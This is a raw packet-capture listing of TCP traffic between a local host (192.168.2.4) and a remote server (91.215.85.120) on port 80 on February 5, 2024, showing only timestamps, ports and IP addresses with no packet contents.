Feb 5, 2024 10:57:22.483083963 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483093977 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483098030 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483108044 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483114004 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483120918 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483129978 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483134031 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483145952 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483156919 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483156919 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483170033 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483182907 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483185053 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483195066 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483206034 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483216047 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483216047 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483230114 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483242035 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483242035 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483254910 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483257055 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483268976 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483280897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483282089 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483294964 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483306885 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483306885 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483321905 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483333111 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483340025 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483345985 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483357906 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483359098 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483371973 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483385086 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483385086 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483398914 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483412981 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483416080 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483423948 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483437061 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483443022 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483449936 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483454943 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483463049 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483475924 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483486891 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483489037 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483500957 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483514071 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483515024 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483527899 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483540058 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483542919 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483556032 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483566999 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483577967 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483582020 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483591080 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483598948 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483608961 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483612061 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483625889 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483639002 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483647108 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483649969 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483666897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483674049 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483678102 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483690977 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483699083 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483730078 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483877897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483891010 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483902931 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483913898 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483925104 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483943939 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483943939 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483956099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483967066 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483982086 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483989000 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483994961 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484006882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484014988 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.484019995 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484033108 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484041929 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.484045029 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484057903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484066963 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.484071970 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484087944 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484087944 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.484098911 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484112024 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484122992 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484122992 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.484136105 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484138012 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.484148979 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484160900 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.484163046 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484174967 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484186888 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484196901 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484205008 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.484210968 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484222889 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484234095 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484236956 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.484246969 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484255075 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.484261990 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484275103 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484285116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484294891 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.484296083 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484309912 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484323025 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484324932 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.484334946 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484342098 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.484345913 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484360933 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484370947 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484373093 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.484386921 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484400034 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.484400034 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484412909 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.484415054 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484427929 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484438896 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484443903 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.484455109 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484467983 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484477043 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.484482050 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484497070 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484508038 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484519005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484525919 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.484530926 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484536886 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.484545946 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484559059 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.484560966 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484575033 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484575033 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.484586954 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484591007 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.484600067 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484611988 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484623909 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484630108 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.484636068 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484643936 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.484649897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.484683990 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.726165056 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.777312040 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.908994913 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.188116074 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.188160896 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.427692890 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.445092916 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.457262993 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.457320929 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.696871996 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718173027 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718195915 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718209028 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718221903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718234062 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718246937 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718280077 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718293905 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718307972 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718321085 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718321085 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.718333960 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718395948 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718399048 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.718399048 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.718410969 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718425035 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718441963 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718456030 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718457937 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.718471050 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718482971 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.718499899 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.718564034 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718579054 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718590975 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718602896 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718614101 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.718619108 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718632936 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718633890 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.718647003 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718661070 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718662977 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.718673944 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718686104 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.718691111 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718705893 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718719006 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.718719006 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718734980 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718750000 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718767881 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.718770027 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718785048 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718796968 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718800068 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.718811035 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718825102 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718827009 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.718837976 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718847036 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.718853951 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718868971 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718878031 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.718883038 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718897104 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718898058 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.718910933 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718924999 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718926907 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.718939066 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718952894 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718960047 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.718966961 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718981028 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718993902 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.718998909 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719007969 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719019890 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719022036 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719038010 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719039917 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719052076 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719064951 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719068050 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719079018 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719091892 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719104052 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719105005 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719116926 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719125032 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719131947 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719145060 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719157934 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719160080 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719171047 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719177008 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719183922 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719198942 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719213009 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719216108 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719227076 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719237089 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719240904 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719253063 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719254017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719269037 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719281912 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719290972 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719295025 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719310999 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719322920 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719329119 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719336033 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719351053 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719350100 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719364882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719368935 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719377995 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719386101 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719393015 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719408989 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719420910 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719422102 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719436884 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719449043 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719450951 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719465017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719477892 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719491005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719501019 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719505072 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719520092 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719532967 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719537020 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719544888 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719559908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719558954 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719574928 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719583035 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719583035 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719589949 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719603062 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719615936 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719625950 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719630003 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719644070 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719644070 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719660044 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719672918 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719674110 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719686985 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719700098 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719702959 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719712973 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719726086 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719727039 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719742060 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719754934 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719759941 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719769001 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719782114 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719782114 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719795942 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719810963 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719810963 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719825029 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719839096 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719839096 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719851971 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719866037 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719867945 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719880104 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719892025 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719893932 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719907999 CET	80	49735	91.215.85.120	192.168.2.4
